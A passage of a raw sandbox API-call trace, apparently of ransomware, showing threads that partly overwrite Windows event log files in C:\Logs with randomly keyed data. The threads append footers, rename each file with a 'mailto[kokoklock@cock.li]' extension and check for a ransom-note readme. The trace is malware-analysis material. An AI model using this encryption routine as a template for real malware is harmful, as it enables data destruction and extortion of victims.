SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x110c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.508] WriteFile (in: hFile=0x528, lpBuffer=0x2f965e8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xaeef944, lpOverlapped=0x0 | out: lpBuffer=0x2f965e8*, lpNumberOfBytesWritten=0xaeef944*=0x20, lpOverlapped=0x0) returned 1 [0167.508] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f965e8) returned 1 [0167.508] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0167.508] WriteFile (in: hFile=0x528, lpBuffer=0x2f966d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xaeef958, lpOverlapped=0x0 | out: lpBuffer=0x2f966d8*, lpNumberOfBytesWritten=0xaeef958*=0x8, lpOverlapped=0x0) returned 1 [0167.508] WriteFile (in: hFile=0x528, lpBuffer=0xaeef970*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xaeef958, lpOverlapped=0x0 | out: lpBuffer=0xaeef970*, lpNumberOfBytesWritten=0xaeef958*=0x4, lpOverlapped=0x0) returned 1 [0167.508] WriteFile (in: hFile=0x528, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xaeef958, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0xaeef958*=0x4, lpOverlapped=0x0) returned 1 [0167.508] WriteFile (in: hFile=0x528, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xaeef958, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0xaeef958*=0x6c, lpOverlapped=0x0) returned 1 [0167.508] WriteFile (in: hFile=0x528, lpBuffer=0x2f964a8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xaeef958, lpOverlapped=0x0 | out: lpBuffer=0x2f964a8*, lpNumberOfBytesWritten=0xaeef958*=0x20, lpOverlapped=0x0) returned 1 [0167.508] WriteFile (in: hFile=0x528, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xaeef958, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0xaeef958*=0x4, lpOverlapped=0x0) returned 1 [0167.509] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f964a8) returned 1 [0167.509] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f963e0) returned 1 [0167.509] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f966d8) returned 1 [0167.509] CloseHandle (hObject=0x528) returned 1 [0167.509] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xf0) returned 0x2f95a00 [0167.509] wcscpy (in: _Dest=0x2f95a00, _Source="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0167.509] wcscat (in: _Dest=0x2f95a00, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0167.509] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0167.510] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0167.510] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f95a00) returned 1 [0167.510] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0167.510] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2fe3d08 [0167.510] wcscpy (in: _Dest=0x2fe3d08, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0167.510] wcscat (in: _Dest=0x2fe3d08, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0167.510] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0167.510] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe3d08) returned 1 [0167.510] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f83510) returned 1 [0167.510] RtlExitUserThread (Status=0x1) Thread: id = 1663 os_tid = 0xd50 [0167.511] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0167.512] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0167.512] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0167.512] GetFileSizeEx (in: hFile=0x528, lpFileSize=0xaf6fcc8 | out: lpFileSize=0xaf6fcc8*=69824) returned 1 [0167.512] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x110bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.512] ReadFile (in: hFile=0x528, lpBuffer=0xaf6fc9c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xaf6fc98, lpOverlapped=0x0 | out: lpBuffer=0xaf6fc9c*, lpNumberOfBytesRead=0xaf6fc98*=0x4, lpOverlapped=0x0) returned 1 [0167.514] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.514] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96278 [0167.514] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f964a8 [0167.514] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f965e8 [0167.514] NtQuerySystemTime (in: CurrentTime=0xaf6fc74 | out: CurrentTime=0xaf6fc74*=132121213248280529) returned 0x0 [0167.514] RtlRandom (in: Seed=0xaf6fc80 | out: Seed=0xaf6fc80) returned 0x72833e02 [0167.514] RtlRandom (in: Seed=0xaf6fc80 | out: Seed=0xaf6fc80) returned 0xd60eab08 [0167.514] RtlRandom (in: Seed=0xaf6fc80 | out: Seed=0xaf6fc80) returned 0x85312de [0167.514] RtlRandom (in: Seed=0xaf6fc80 | out: Seed=0xaf6fc80) returned 0x31bae573 [0167.514] RtlRandom (in: Seed=0xaf6fc80 | out: Seed=0xaf6fc80) returned 0xaf10270a [0167.514] RtlRandom (in: Seed=0xaf6fc80 | out: Seed=0xaf6fc80) returned 0xb2573d82 [0167.514] RtlRandom (in: Seed=0xaf6fc80 | out: Seed=0xaf6fc80) returned 0xfb54c87 [0167.514] RtlRandom (in: Seed=0xaf6fc80 | out: Seed=0xaf6fc80) returned 0x83c7d5e9 [0167.514] RtlRandom (in: Seed=0xaf6fc80 | out: Seed=0xaf6fc80) returned 0x88f57abd [0167.514] RtlRandom (in: Seed=0xaf6fc80 | out: Seed=0xaf6fc80) returned 0x49918327 [0167.514] RtlRandom (in: Seed=0xaf6fc80 | out: Seed=0xaf6fc80) returned 0x57ea3286 [0167.514] RtlRandom (in: Seed=0xaf6fc80 | out: Seed=0xaf6fc80) returned 0xf6348e95 [0167.514] RtlRandom (in: Seed=0xaf6fc80 | out: Seed=0xaf6fc80) returned 0xc422390c [0167.514] RtlRandom (in: Seed=0xaf6fc80 | out: Seed=0xaf6fc80) returned 0x3a9ece49 [0167.514] RtlRandom (in: Seed=0xaf6fc80 | out: Seed=0xaf6fc80) returned 0xd1b5924f [0167.514] RtlRandom (in: Seed=0xaf6fc80 | out: Seed=0xaf6fc80) returned 0x9a46465c [0167.514] RtlRandom (in: Seed=0xaf6fc80 | out: Seed=0xaf6fc80) returned 0x664d7cbe [0167.514] RtlRandom (in: Seed=0xaf6fc80 | out: Seed=0xaf6fc80) returned 0x35fb9b72 [0167.514] RtlRandom (in: Seed=0xaf6fc80 | out: Seed=0xaf6fc80) returned 0x7cead57 [0167.514] RtlRandom (in: Seed=0xaf6fc80 | out: Seed=0xaf6fc80) returned 0x54ef959f [0167.514] RtlRandom (in: Seed=0xaf6fc80 | out: Seed=0xaf6fc80) returned 0x97af1fda [0167.514] RtlRandom (in: Seed=0xaf6fc80 | out: Seed=0xaf6fc80) returned 0x51a9c0f4 [0167.514] RtlRandom (in: Seed=0xaf6fc80 | out: Seed=0xaf6fc80) returned 0x9ec5f29 [0167.514] RtlRandom (in: Seed=0xaf6fc80 | out: Seed=0xaf6fc80) returned 0x995c6e45 [0167.514] RtlRandom (in: Seed=0xaf6fc80 | out: Seed=0xaf6fc80) returned 0x24fb7fb8 [0167.514] RtlRandom (in: Seed=0xaf6fc80 | out: Seed=0xaf6fc80) returned 0xf8a93e46 [0167.514] RtlRandom (in: Seed=0xaf6fc80 | out: Seed=0xaf6fc80) returned 0xfa055644 [0167.514] RtlRandom (in: Seed=0xaf6fc80 | out: Seed=0xaf6fc80) returned 0x88fbad65 [0167.515] RtlRandom (in: Seed=0xaf6fc80 | out: Seed=0xaf6fc80) returned 0xcb49341d [0167.515] RtlRandom (in: Seed=0xaf6fc80 | out: Seed=0xaf6fc80) returned 0xb58c521f [0167.515] RtlRandom (in: Seed=0xaf6fc80 | out: Seed=0xaf6fc80) returned 0xadccbb8e [0167.515] RtlRandom (in: Seed=0xaf6fc80 | out: Seed=0xaf6fc80) returned 0x99494dae [0167.524] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f963e0 [0167.525] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2fab128 [0167.526] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f966d8 [0167.526] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab128) returned 1 [0167.526] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96278) returned 1 [0167.526] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0167.526] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.526] ReadFile (in: hFile=0x528, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xaf6fc4c, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0xaf6fc4c*=0x4096, lpOverlapped=0x0) returned 1 [0167.527] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.527] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f872c0 [0167.527] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faafc0 [0167.527] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96610 [0167.527] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96610) returned 1 [0167.527] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fcb070 [0167.527] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96610 [0167.527] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96638 [0167.527] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96638) returned 1 [0167.527] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faafc0) returned 1 [0167.527] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f872c0) returned 1 [0167.528] WriteFile (in: hFile=0x528, lpBuffer=0x2fcb070*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xaf6fc4c, lpOverlapped=0x0 | out: lpBuffer=0x2fcb070*, lpNumberOfBytesWritten=0xaf6fc4c*=0x4096, lpOverlapped=0x0) returned 1 [0167.528] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcb070) returned 1 [0167.528] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x110c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.528] WriteFile (in: hFile=0x528, lpBuffer=0x2f96610*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xaf6fc84, lpOverlapped=0x0 | out: lpBuffer=0x2f96610*, lpNumberOfBytesWritten=0xaf6fc84*=0x20, lpOverlapped=0x0) returned 1 [0167.528] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96610) returned 1 [0167.528] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0167.528] WriteFile (in: hFile=0x528, lpBuffer=0x2f966d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xaf6fc98, lpOverlapped=0x0 | out: lpBuffer=0x2f966d8*, lpNumberOfBytesWritten=0xaf6fc98*=0x8, lpOverlapped=0x0) returned 1 [0167.528] WriteFile (in: hFile=0x528, lpBuffer=0xaf6fcb0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xaf6fc98, lpOverlapped=0x0 | out: lpBuffer=0xaf6fcb0*, lpNumberOfBytesWritten=0xaf6fc98*=0x4, lpOverlapped=0x0) returned 1 [0167.528] WriteFile (in: hFile=0x528, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xaf6fc98, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0xaf6fc98*=0x4, lpOverlapped=0x0) returned 1 [0167.529] WriteFile (in: hFile=0x528, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xaf6fc98, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0xaf6fc98*=0x6c, lpOverlapped=0x0) returned 1 [0167.529] WriteFile (in: hFile=0x528, lpBuffer=0x2f964a8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xaf6fc98, lpOverlapped=0x0 | out: lpBuffer=0x2f964a8*, lpNumberOfBytesWritten=0xaf6fc98*=0x20, lpOverlapped=0x0) returned 1 [0167.529] WriteFile (in: hFile=0x528, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xaf6fc98, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0xaf6fc98*=0x4, lpOverlapped=0x0) returned 1 [0167.529] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f964a8) returned 1 [0167.529] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f963e0) returned 1 [0167.529] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f966d8) returned 1 [0167.529] CloseHandle (hObject=0x528) returned 1 [0167.529] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xea) returned 0x2f95a00 [0167.529] wcscpy (in: _Dest=0x2f95a00, _Source="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx.mailto[kokoklock@cock.li].d0e731" [0167.529] wcscat (in: _Dest=0x2f95a00, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0167.529] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0167.530] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0167.530] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f95a00) returned 1 [0167.530] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0167.530] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2fe3d08 [0167.530] wcscpy (in: _Dest=0x2fe3d08, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0167.530] wcscat (in: _Dest=0x2fe3d08, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0167.531] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0167.531] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe3d08) returned 1 [0167.531] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6eb80) returned 1 [0167.531] RtlExitUserThread (Status=0x1) Thread: id = 1664 os_tid = 0xd60 [0167.538] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0167.538] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0167.538] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0167.539] GetFileSizeEx (in: hFile=0x528, lpFileSize=0xafef7cc | out: lpFileSize=0xafef7cc*=69824) returned 1 [0167.539] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x110bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.539] ReadFile (in: hFile=0x528, lpBuffer=0xafef7a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xafef79c, lpOverlapped=0x0 | out: lpBuffer=0xafef7a0*, lpNumberOfBytesRead=0xafef79c*=0x4, lpOverlapped=0x0) returned 1 [0167.540] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.540] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96278 [0167.540] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f964a8 [0167.540] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96610 [0167.540] NtQuerySystemTime (in: CurrentTime=0xafef778 | out: CurrentTime=0xafef778*=132121213248609621) returned 0x0 [0167.540] RtlRandom (in: Seed=0xafef784 | out: Seed=0xafef784) returned 0x1813a14c [0167.540] RtlRandom (in: Seed=0xafef784 | out: Seed=0xafef784) returned 0xcce1a35a [0167.540] RtlRandom (in: Seed=0xafef784 | out: Seed=0xafef784) returned 0x407e3b09 [0167.540] RtlRandom (in: Seed=0xafef784 | out: Seed=0xafef784) returned 0xb2436200 [0167.540] RtlRandom (in: Seed=0xafef784 | out: Seed=0xafef784) returned 0x5b0f0a26 [0167.540] RtlRandom (in: Seed=0xafef784 | out: Seed=0xafef784) returned 0xf3737750 [0167.540] RtlRandom (in: Seed=0xafef784 | out: Seed=0xafef784) returned 0x3015c9ae [0167.540] RtlRandom (in: Seed=0xafef784 | out: Seed=0xafef784) returned 0xe7a22b50 [0167.540] RtlRandom (in: Seed=0xafef784 | out: Seed=0xafef784) returned 0xd157281e [0167.540] RtlRandom (in: Seed=0xafef784 | out: Seed=0xafef784) returned 0x7597fd92 [0167.540] RtlRandom (in: Seed=0xafef784 | out: Seed=0xafef784) returned 0xeb836a4a [0167.540] RtlRandom (in: Seed=0xafef784 | out: Seed=0xafef784) returned 0x9567f47 [0167.540] RtlRandom (in: Seed=0xafef784 | out: Seed=0xafef784) returned 0xf6ea178e [0167.540] RtlRandom (in: Seed=0xafef784 | out: Seed=0xafef784) returned 0x409d5dac [0167.540] RtlRandom (in: Seed=0xafef784 | out: Seed=0xafef784) returned 0xd149e5b6 [0167.540] RtlRandom (in: Seed=0xafef784 | out: Seed=0xafef784) returned 0xe1771f7e [0167.540] RtlRandom (in: Seed=0xafef784 | out: Seed=0xafef784) returned 0x675dd08f [0167.540] RtlRandom (in: Seed=0xafef784 | out: Seed=0xafef784) returned 0xb3a35b4c [0167.540] RtlRandom (in: Seed=0xafef784 | out: Seed=0xafef784) returned 0x98ffdaae [0167.540] RtlRandom (in: Seed=0xafef784 | out: Seed=0xafef784) returned 0x65677cc3 [0167.540] RtlRandom (in: Seed=0xafef784 | out: Seed=0xafef784) returned 0x1d4981d0 [0167.540] RtlRandom (in: Seed=0xafef784 | out: Seed=0xafef784) returned 0x327bf8b7 [0167.540] RtlRandom (in: Seed=0xafef784 | out: Seed=0xafef784) returned 0xd8c55430 [0167.540] RtlRandom (in: Seed=0xafef784 | out: Seed=0xafef784) returned 0x94814ab4 [0167.540] RtlRandom (in: Seed=0xafef784 | out: Seed=0xafef784) returned 0x9bcb44 [0167.540] RtlRandom (in: Seed=0xafef784 | out: Seed=0xafef784) returned 0xc995bfaa [0167.540] RtlRandom (in: Seed=0xafef784 | out: Seed=0xafef784) returned 0x1175dda8 [0167.540] RtlRandom (in: Seed=0xafef784 | out: Seed=0xafef784) returned 0xa80efef4 [0167.541] RtlRandom (in: Seed=0xafef784 | out: Seed=0xafef784) returned 0x94f4bc4c [0167.541] RtlRandom (in: Seed=0xafef784 | out: Seed=0xafef784) returned 0x1a9e2ee8 [0167.541] RtlRandom (in: Seed=0xafef784 | out: Seed=0xafef784) returned 0xa92996d9 [0167.541] RtlRandom (in: Seed=0xafef784 | out: Seed=0xafef784) returned 0xf0b5c444 [0167.549] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f963e0 [0167.551] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2fab128 [0167.551] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f966d8 [0167.551] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab128) returned 1 [0167.551] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96278) returned 1 [0167.551] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0167.551] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.551] ReadFile (in: hFile=0x528, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xafef750, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0xafef750*=0x4096, lpOverlapped=0x0) returned 1 [0167.553] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.553] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f872c0 [0167.553] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faafc0 [0167.553] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96638 [0167.553] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96638) returned 1 [0167.553] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fcb070 [0167.553] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96638 [0167.553] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96660 [0167.553] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96660) returned 1 [0167.553] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faafc0) returned 1 [0167.553] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f872c0) returned 1 [0167.553] WriteFile (in: hFile=0x528, lpBuffer=0x2fcb070*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xafef750, lpOverlapped=0x0 | out: lpBuffer=0x2fcb070*, lpNumberOfBytesWritten=0xafef750*=0x4096, lpOverlapped=0x0) returned 1 [0167.554] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcb070) returned 1 [0167.554] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x110c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.554] WriteFile (in: hFile=0x528, lpBuffer=0x2f96638*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xafef788, lpOverlapped=0x0 | out: lpBuffer=0x2f96638*, lpNumberOfBytesWritten=0xafef788*=0x20, lpOverlapped=0x0) returned 1 [0167.554] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96638) returned 1 [0167.554] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0167.554] WriteFile (in: hFile=0x528, lpBuffer=0x2f966d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xafef79c, lpOverlapped=0x0 | out: lpBuffer=0x2f966d8*, lpNumberOfBytesWritten=0xafef79c*=0x8, lpOverlapped=0x0) returned 1 [0167.554] WriteFile (in: hFile=0x528, lpBuffer=0xafef7b4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xafef79c, lpOverlapped=0x0 | out: lpBuffer=0xafef7b4*, lpNumberOfBytesWritten=0xafef79c*=0x4, 